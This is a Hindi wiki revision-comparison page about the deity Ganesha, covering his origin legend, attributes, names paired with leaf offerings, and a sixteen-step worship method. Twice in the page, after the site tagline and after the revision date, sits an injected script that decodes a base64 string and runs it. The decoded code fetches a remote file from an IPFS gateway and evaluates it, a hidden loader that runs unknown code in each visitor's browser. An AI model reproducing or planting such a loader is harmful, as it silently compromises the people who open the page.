"गणेश" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ खोज पर जाएँ
छो
पंक्ति ३६: पंक्ति ३६:
 
गणेशजी की आराधना बाजार के महंगे सामान के बजाए इन औषधियों से भी होती है। पत्रं पुष्पं फलं तोयं यों मे भक्त्या प्रच्छति अर्थात पत्र, पुष्प, फल और जल के द्वारा भक्ति भाव से की गई पूजा लाभदायी रहती है। षोड़षोपचार विधि से इनकी पूजा की जाती है। गणेश की पूजा अगर विधिवत की जाए, तो इनकी पतिव्रता पत्नियां रिद्धि-सिद्धि और बुद्धि भी प्रसन्न होकर घर-परिवार में सुख शांति और संतान को निर्मल विद्या-बुद्धि देती है।
 
गणेशजी की आराधना बाजार के महंगे सामान के बजाए इन औषधियों से भी होती है। पत्रं पुष्पं फलं तोयं यों मे भक्त्या प्रच्छति अर्थात पत्र, पुष्प, फल और जल के द्वारा भक्ति भाव से की गई पूजा लाभदायी रहती है। षोड़षोपचार विधि से इनकी पूजा की जाती है। गणेश की पूजा अगर विधिवत की जाए, तो इनकी पतिव्रता पत्नियां रिद्धि-सिद्धि और बुद्धि भी प्रसन्न होकर घर-परिवार में सुख शांति और संतान को निर्मल विद्या-बुद्धि देती है।
 
==गणेश पूजा की शास्त्रीय विधि==
 
==गणेश पूजा की शास्त्रीय विधि==
भगवान गणेश की शास्त्रीय विधि भी इस प्रकार है। इनके क्रमों की संख्या 16 है। आह्वान, आसन, पाद्य, अध्र्य, आचमनीय, स्नान, वस्त्र, यज्ञोपवीत, गंधपुष्प, पुष्पमाला, धूप-दीप, नैवेद्य, ताम्बूल, आरती-प्रदक्षिणा और पुष्पांजलि आदि। गणेश गायत्री मंत्र से ही इनकी आराधना कर सकते हैं। भगवान गणेश की पूजा के लिए ऋग्वेद के गणेश अथर्व सूत्र में कहा गया है कि रक्त पुष्पै सुपूजितम अर्थात लाल फूल से विनायक की पूजा का विशेष महत्व है। स्नानादि करके सामग्री के साथ अपने घर के मंदिर में बैठे, अपने आपको पवित्रीकरण मंत्र पढ़कर घी का दीप जलाएं और  दीपस्थ देवतायै नम: कहकर उन्हें अग्निकोण में स्थापित कर दें। इसके बाद गणेशजी की पूजा करें। अगर कोई मंत्र न आता हो, तो  'गं गणपतये नम:' मंत्र को पढ़ते हुए पूजन में लाई गई सामग्री गणपति पर चढाएं, यहीं से आपकी पूजा स्वीकार होगी और आपको शुभ-लाभ की अनुभूति मिलेगी।  
+
भगवान गणेश की शास्त्रीय विधि भी इस प्रकार है। इनके क्रमों की संख्या 16 है। आह्वान, आसन, पाद्य, अध्र्य, आचमनीय, स्नान, वस्त्र, यज्ञोपवीत, गंधपुष्प, पुष्पमाला, धूप-दीप, नैवेद्य, ताम्बूल, आरती-प्रदक्षिणा और पुष्पांजलि आदि। गणेश गायत्री मंत्र से ही इनकी आराधना कर सकते हैं। भगवान गणेश की पूजा के लिए [[ऋग्वेद]] के गणेश अथर्व सूत्र में कहा गया है कि रक्त पुष्पै सुपूजितम अर्थात लाल फूल से विनायक की पूजा का विशेष महत्व है। स्नानादि करके सामग्री के साथ अपने घर के मंदिर में बैठे, अपने आपको पवित्रीकरण मंत्र पढ़कर घी का दीप जलाएं और  दीपस्थ देवतायै नम: कहकर उन्हें अग्निकोण में स्थापित कर दें। इसके बाद गणेशजी की पूजा करें। अगर कोई मंत्र न आता हो, तो  'गं गणपतये नम:' मंत्र को पढ़ते हुए पूजन में लाई गई सामग्री गणपति पर चढाएं, यहीं से आपकी पूजा स्वीकार होगी और आपको शुभ-लाभ की अनुभूति मिलेगी। [[गणेश जी की आरती]] और पूजा किसी कार्य को प्रारम्भ करने से पहले की जाती है और प्रार्थना करते हैं कि कार्य निर्विघ्न पूरा हो।
  
 
[[श्रेणी: कोश]]  
 
[[श्रेणी: कोश]]  

०८:११, २२ नवम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गणेश / Ganesha

गणेश
Ganesha

श्री गणेश जी विघ्न विनायक हैं। ये देव समाज में सर्वोपरि स्थान रखते हैं। भाद्रपद शुक्ल चतुर्थी को मध्याह्न के समय गणेश जी का जन्म हुआ था। शिव पार्वती के दूसरे पुत्र हैं। भगवान गणेश बुद्धि के देवता हैं। गणेश जी का वाहन चूहा है। ऋद्धिसिद्धि गणेश जी की दो पत्नियां हैं। इनका सर्वप्रिय भोग लड्डू हैं। गणेश जी की पूजा अगर विधिवत की जाए, तो इनकी पतिव्रता पत्नियां रिद्धि-सिद्धि भी प्रसन्न होकर घर-परिवार में सुख शांति और संतान को निर्मल विद्या-बुद्धि देती हैं। गणेश जी ही ऐसे देवता हैं, जिनकी पूजा पत्तियों से भी करके आशीर्वाद प्राप्त किया जा सकता है। भगवान गणेश अपने भक्तों द्वारा कितने नामों से पुकारे जाते हैं, यह तो अगणनीय हैं। लेकिन उन सभी का सारांश यही है कि कलि युग में मां चंडी और भगवान गणेश शीघ्र फल देने वाले देवता कहे जाते हैं। गणेश जी की पूजा इस चराचर जगत में कहीं भी सबसे पहले की जाती है। वैसे तो तिथियों में प्रत्येक चतुर्थी को भगवान विनायक की पूजा का महत्व है, किंतु भादो शुक्ल चतुर्थी को सिद्धिविनायक चतुर्थी के नाम से जाना जाता है। भगवान गणेश का एक दांत हैं,इसी से इनका नाम एकदन्त है और दोनों कान सूप के समान हैं। मुंह हाथी के समान है और चार भुजाओं से सुशोभित हैं। ये अपने हाथों में पाश और अंकुश धारण किए हुए हैं।


  • गणपति नित्य देवता हैं; परंतु विभिन्न समयों में विभिन्न प्रकार से उनका लीलाप्राकट्य होता है। जगदम्बिका लीलामयी हैं। कैलास पर अपने अन्त:पुर में वे विराजमान थीं। सेविकाएँ उबटन लगा रही थीं। शरीर से गिरे उबटन को उन आदिशक्ति ने एकत्र किया और एकमूर्ति बना डाली। उन चेतनामयी का वह शिशु अचेतन तो होता नहीं। उसने माता को प्रणाम किया और आज्ञा माँगी। उसे कहा गया कि बिना आज्ञा कोई द्वार से अंदर न आने पाये। बालक डंडा लेकर द्वार पर खड़ा हो गया। भगवान शंकर अन्त:पुर में जाने लगे तो उसने रोक दिया। भगवान भूतनाथ कम विनोदी नहीं हैं। उन्होंने देवताओं को आज्ञा दी। बालक को द्वार से हटा देने की। इन्द्र, वरूण, कुबेर, यम आदि सब उसके डंडे से आहत होकर भाग खड़े हुए- वह महाशक्ति का पुत्र जो था। इतना औद्धत्य उचित नहीं। भगवान शंकर ने त्रिशूल उठाया और बालक का मस्तक काट दिया।
  • 'मेरा पुत्र!' जगदम्बा का स्नेह रोष में परिणत हो गया। देवताओं ने उनके बच्चे का वध करा दिया था। पुत्र का शव देखकर माता कैसे शान्त रहे। देवताओं ने भगवान शंकर की स्तुति की।
  • 'किसी नवजात शिशु का मस्तक उसके धड़ से लगा दो।' एक गजराज का नवजात शिशु मिला उस समय। उसी का मस्तक पाकर वह बालक गजानन हो गया। अपने अग्रज कार्तिकेय के साथ संग्राम में उसका एक दाँत टूट गया और तबसे गणेश जी एकदन्त हैं।
  • अरूणवर्ण, एकदन्त, गजमुख, लम्बोदर, अरण-वस्त्र, त्रिपुण्ड्र-तिलक, मूषकवाहन। ये देवता माता-पिता दोनों को प्रिय हैं। ऋद्धि-सिद्धि इनकी पत्नियाँ हैं। ब्रह्मा जी जब 'देवताओं में कौन प्रथम पूज्य हो' इसका निर्णय करने लगे, तब पृथ्वी-प्रदक्षिणा ही शक्ति का निदर्शन मानी गयी। गणेश जी का मूषक कैसे सबसे आगे दौड़े। उन्होंने देवर्षि के उपदेश से भूमि पर 'राम' नाम लिखा और उसकी प्रदक्षिणा कर ली; पुराणान्तर के अनुसार भगवान शंकर और पार्वती जी की प्रदक्षिणा की। वे दोनों प्रकार सम्पूर्ण भुवनों की प्रदक्षिणा कर चुके थे। सबसे पहले पहुँचे थे। भगवान ब्रह्मा ने उन्हें प्रथम पूज्य बनाया। प्रत्येक कर्म में उनकी प्रथम पूजा होती है। वे भगवान शंकर के गणों के मुख्य अधिपति हैं। उन गणाधिप की प्रथम पूजा न हो तो कर्म के निर्विघ्न पूर्ण होने की आशा कम ही रहती है।
  • पंच देवोपासना में भगवान गणपति मुख्य हैं। प्रत्येक कार्य का प्रारम्भ 'श्रीगणेश' अर्थात उनके स्मरण-वन्दन से ही होता है। उनकी नैष्ठिक उपासना करने वाला सम्प्रदाय भी था। दक्षिण भारत में भगवान गणपति की उपासना बहुत धूम-धाम से होती है। 'कलौ चण्डीविनायकौ।' जिन लोगों को कोई भौतिक सिद्धि चाहिये, वे इस युग में गणेश जी को शीघ्र प्रसन्न कर पाते हैं। वे मंगलमूर्ति सिद्धिसदन बहुत अल्प श्रम से द्रवित होते हैं।
  • भगवान गणेश बुद्धि के अधिष्ठाता हैं। वे साक्षात प्रणवरूप हैं। उनके श्रीविग्रह का ध्यान, उनके मंगलमय नाम का जप और उनकी आराधना मेधा-शक्ति को तीव्र करती है। महाभारत के यदि वे लेखक न बनते तो भगवान व्यास के इस पंचम वेद से जगती वंचित ही रह जाती।
  • गणेश और हनुमान ही कलि युग के ऐसे देवता हैं, जो अपने भक्तों से कभी रुठते नहीं, अत: इनकी आराधना करने वालों से गलतियां भी होती हैं, तो वह क्षम्य होती हैं। साधना चाहे सात्विक हो या तामसिक, मारण, मोहन, उच्चटन, वशीकरण या फिर मोक्ष की साधना हो अग्रपूजा गणेश जी की ही होती है। गणेश जी ही ऐसे देवता हैं, जिनकी पूजा घास-फूस अपितु पेड़-पौधों की पत्तियों से भी करके उनका आशीर्वाद प्राप्त किया जा सकता है। इनकी पूजा के लिए इनके प्रधान 21 नामों से 21 पत्ते अर्पण करने का विधान मिलता है।

विनायक की पूजा

इनको प्रसन्न करने के लिए इन पर निम्नलिखित पत्तों को अर्पण करें और उनके इन नामों को याद कर साथ ही बोलते भी रहें:-

  • सुमुखायनम: स्वाहा कहते हुए शमी पत्र चढ़ाएं,
  • गणाधीशायनम: स्वाहा भंगरैया का पत्ता चढ़ाएं,
  • साथ ही उमापुत्राय नम: बिल्वपत्र,
  • गज मुखायनम: दूर्वादल,
  • लम्बोदराय नम: बेर के पत्ते से,
  • हरसूनवे नम: धतूरे के पत्ते से,
  • शूर्पकर्णाय नम: तुलसी दल से,
  • वक्रतुण्डाय नम: सेम के पत्ते से,
  • गुहाग्रजाय नम: अपामार्ग के पत्तो से,
  • एक दंतायनम: भटकटैया के पत्ते से,
  • हेरम्बाय नम: सिंदूर वृक्ष के पत्ते से,
  • चतुर्होत्रे नम: तेजपात के पत्ते से,
  • सर्वेश्वराय नम: अगस्त के पत्ते चढ़ावें।
  • विकराय नम: कनेर के पत्ते,
  • इभतुण्डाय नम: अश्मात के पत्ते से,
  • विनायकाय नम: मदार के पत्ते से,
  • कपिलाय नम: अर्जुन के पत्ते से,
  • बटवे नम: देवदारु के पत्ते से,
  • भालचंद्राय नम: मरुआ के पत्ते से,
  • सुराग्रजाय नम: गांधारी के पत्ते से और
  • सिद्धि विनायकाय नम: केतकी के पत्ते से अर्पण करें।

गणेशजी की आराधना बाजार के महंगे सामान के बजाए इन औषधियों से भी होती है। पत्रं पुष्पं फलं तोयं यों मे भक्त्या प्रच्छति अर्थात पत्र, पुष्प, फल और जल के द्वारा भक्ति भाव से की गई पूजा लाभदायी रहती है। षोड़षोपचार विधि से इनकी पूजा की जाती है। गणेश की पूजा अगर विधिवत की जाए, तो इनकी पतिव्रता पत्नियां रिद्धि-सिद्धि और बुद्धि भी प्रसन्न होकर घर-परिवार में सुख शांति और संतान को निर्मल विद्या-बुद्धि देती है।

गणेश पूजा की शास्त्रीय विधि

भगवान गणेश की शास्त्रीय विधि भी इस प्रकार है। इनके क्रमों की संख्या 16 है। आह्वान, आसन, पाद्य, अध्र्य, आचमनीय, स्नान, वस्त्र, यज्ञोपवीत, गंधपुष्प, पुष्पमाला, धूप-दीप, नैवेद्य, ताम्बूल, आरती-प्रदक्षिणा और पुष्पांजलि आदि। गणेश गायत्री मंत्र से ही इनकी आराधना कर सकते हैं। भगवान गणेश की पूजा के लिए ऋग्वेद के गणेश अथर्व सूत्र में कहा गया है कि रक्त पुष्पै सुपूजितम अर्थात लाल फूल से विनायक की पूजा का विशेष महत्व है। स्नानादि करके सामग्री के साथ अपने घर के मंदिर में बैठे, अपने आपको पवित्रीकरण मंत्र पढ़कर घी का दीप जलाएं और दीपस्थ देवतायै नम: कहकर उन्हें अग्निकोण में स्थापित कर दें। इसके बाद गणेशजी की पूजा करें। अगर कोई मंत्र न आता हो, तो 'गं गणपतये नम:' मंत्र को पढ़ते हुए पूजन में लाई गई सामग्री गणपति पर चढाएं, यहीं से आपकी पूजा स्वीकार होगी और आपको शुभ-लाभ की अनुभूति मिलेगी। गणेश जी की आरती और पूजा किसी कार्य को प्रारम्भ करने से पहले की जाती है और प्रार्थना करते हैं कि कार्य निर्विघ्न पूरा हो।